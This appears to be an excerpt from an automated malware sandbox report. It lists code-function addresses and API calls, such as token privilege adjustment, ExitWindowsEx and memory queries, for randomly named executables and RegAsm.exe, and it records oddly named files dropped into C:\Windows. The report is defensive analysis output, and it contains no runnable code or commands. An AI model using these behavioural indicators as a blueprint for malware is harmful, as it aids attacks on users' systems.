Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ABB8C0 rand_s,NtQueryVirtualMemory,	39_2_69ABB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A5F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	39_2_69A5F280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ABB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	39_2_69ABB700

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Code function: 18_2_00403899 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		18_2_00403899
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		19_2_00409448

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\MumbaiVip	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\DragonShips	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\ComputersBottle	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\SeriousPeas	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\EspnEmissions	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\FillFindlaw	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\FramesThoughts	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\AssistsDiamonds	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	File created: C:\Windows\ElectionSip	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B230C0	5_2_01B230C0
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B22240	5_2_01B22240
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B26630	5_2_01B26630
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B20848	5_2_01B20848
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B25EFA	5_2_01B25EFA
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B2C49C	5_2_01B2C49C
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B20839	5_2_01B20839
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B28E90	5_2_01B28E90
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B28E80	5_2_01B28E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00427140	7_2_00427140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004CF180	7_2_004CF180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004515D0	7_2_004515D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042C5A0	7_2_0042C5A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00436610	7_2_00436610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00430690	7_2_00430690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00431730	7_2_00431730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004428B0	7_2_004428B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00437A60	7_2_00437A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00434A70	7_2_00434A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00433B30	7_2_00433B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00434C90	7_2_00434C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00509DE0	7_2_00509DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00440E60	7_2_00440E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004210E0	7_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_005680AD	7_2_005680AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00402100	7_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004241E0	7_2_004241E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004413C0	7_2_004413C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004213A0	7_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004233A0	7_2_004233A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042D4C0	7_2_0042D4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040B5E0	7_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042A590	7_2_0042A590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00405640	7_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00422640	7_2_00422640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00424660	7_2_00424660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00402630	7_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00443690	7_2_00443690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00517725	7_2_00517725
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_005637BC	7_2_005637BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0054E7BA	7_2_0054E7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00421820	7_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_005448F9	7_2_005448F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00513930	7_2_00513930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00517920	7_2_00517920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041E9E0	7_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0044AA80	7_2_0044AA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00425BD0	7_2_00425BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00562BA0	7_2_00562BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042DC70	7_2_0042DC70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042CCA0	7_2_0042CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00401E90	7_2_00401E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00543F50	7_2_00543F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00552FC0	7_2_00552FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00550F88	7_2_00550F88
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Code function: 11_2_029D0B90	11_2_029D0B90
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Code function: 14_2_00F40870	14_2_00F40870
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Code function: 14_2_00F40878	14_2_00F40878
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Code function: 14_2_05562FDC	14_2_05562FDC
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Code function: 15_2_02F20B90	15_2_02F20B90
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Code function: 16_2_02D50B90	16_2_02D50B90
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Code function: 17_2_011D0B90	17_2_011D0B90
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Code function: 18_2_00407577	18_2_00407577
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_0040840C	19_2_0040840C
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC53B524	20_2_00007FFAAC53B524
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC53BCE9	20_2_00007FFAAC53BCE9
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC539570	20_2_00007FFAAC539570
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC533682	20_2_00007FFAAC533682
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC531918	20_2_00007FFAAC531918
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC53C171	20_2_00007FFAAC53C171
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC5342A8	20_2_00007FFAAC5342A8
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC544A64	20_2_00007FFAAC544A64
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC547A40	20_2_00007FFAAC547A40
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC544AB1	20_2_00007FFAAC544AB1
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC54038A	20_2_00007FFAAC54038A
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC6003E0	20_2_00007FFAAC6003E0
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Code function: 22_2_00A80B90	22_2_00A80B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 33_2_02D07720	33_2_02D07720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 33_2_02D07712	33_2_02D07712
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 33_2_02D07458	33_2_02D07458
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 33_2_02D07468	33_2_02D07468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A535A0	39_2_69A535A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A5C9A0	39_2_69A5C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A8D9B0	39_2_69A8D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A95190	39_2_69A95190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AB2990	39_2_69AB2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A6D960	39_2_69A6D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AAB970	39_2_69AAB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ACB170	39_2_69ACB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A7A940	39_2_69A7A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A860A0	39_2_69A860A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A7C0E0	39_2_69A7C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A958E0	39_2_69A958E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AC50C7	39_2_69AC50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A9B820	39_2_69A9B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AA4820	39_2_69AA4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A67810	39_2_69A67810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A9F070	39_2_69A9F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A78850	39_2_69A78850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A7D850	39_2_69A7D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A5F380	39_2_69A5F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AC53C8	39_2_69AC53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A9D320	39_2_69A9D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A6C370	39_2_69A6C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A55340	39_2_69A55340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A522A0	39_2_69A522A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A84AA0	39_2_69A84AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A6CAB0	39_2_69A6CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AC2AB0	39_2_69AC2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ACBA90	39_2_69ACBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A71AF0	39_2_69A71AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A9E2F0	39_2_69A9E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A98AC0	39_2_69A98AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A99A60	39_2_69A99A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AB85F0	39_2_69AB85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A90DD0	39_2_69A90DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A6FD00	39_2_69A6FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A7ED10	39_2_69A7ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A80512	39_2_69A80512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AB34A0	39_2_69AB34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ABC4A0	39_2_69ABC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A66C80	39_2_69A66C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A5D4E0	39_2_69A5D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A96CF0	39_2_69A96CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A664C0	39_2_69A664C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A7D4D0	39_2_69A7D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AC542B	39_2_69AC542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ACAC00	39_2_69ACAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A95C10	39_2_69A95C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AA2C10	39_2_69AA2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A65440	39_2_69A65440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AC545C	39_2_69AC545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AA77A0	39_2_69AA77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A5DFE0	39_2_69A5DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A86FF0	39_2_69A86FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A69F00	39_2_69A69F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A97710	39_2_69A97710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AB4EA0	39_2_69AB4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69ABE680	39_2_69ABE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A75E90	39_2_69A75E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AC76E3	39_2_69AC76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A5BEF0	39_2_69A5BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A6FEF0	39_2_69A6FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AB9E30	39_2_69AB9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AA5600	39_2_69AA5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A97E10	39_2_69A97E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AC6E63	39_2_69AC6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A5C670	39_2_69A5C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AA2E4E	39_2_69AA2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A74640	39_2_69A74640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A79E50	39_2_69A79E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A93E50	39_2_69A93E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BC09B0	39_2_69BC09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B909A0	39_2_69B909A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BBA9A0	39_2_69BBA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C1C9E0	39_2_69C1C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B349F0	39_2_69B349F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B56900	39_2_69B56900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B38960	39_2_69B38960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C068E0	39_2_69C068E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B50820	39_2_69B50820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B8A820	39_2_69B8A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BD4840	39_2_69BD4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BA0BA0	39_2_69BA0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C06BE0	39_2_69C06BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BB8A30	39_2_69BB8A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BAEA00	39_2_69BAEA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B7CA70	39_2_69B7CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B04DB0	39_2_69B04DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C8CDC0	39_2_69C8CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B96D90	39_2_69B96D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C2AD50	39_2_69C2AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BCED70	39_2_69BCED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C88D20	39_2_69C88D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B5ECD0	39_2_69B5ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AFECC0	39_2_69AFECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BDAC30	39_2_69BDAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BC6C00	39_2_69BC6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B0AC60	39_2_69B0AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B0EFB0	39_2_69B0EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BDEFF0	39_2_69BDEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B00FE0	39_2_69B00FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C48FB0	39_2_69C48FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B06F10	39_2_69B06F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BC2F70	39_2_69BC2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C40F20	39_2_69C40F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B6EF40	39_2_69B6EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B86E90	39_2_69B86E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B0AEC0	39_2_69B0AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BA0EC0	39_2_69BA0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BE0E20	39_2_69BE0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B9EE70	39_2_69B9EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B001E0	39_2_69B001E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B76130	39_2_69B76130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BE4130	39_2_69BE4130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B68140	39_2_69B68140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B100B0	39_2_69B100B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BDC0B0	39_2_69BDC0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69AF8090	39_2_69AF8090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BC8010	39_2_69BC8010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69BCC000	39_2_69BCC000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B4E070	39_2_69B4E070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B5E3B0	39_2_69B5E3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B323A0	39_2_69B323A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B543E0	39_2_69B543E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B72320	39_2_69B72320
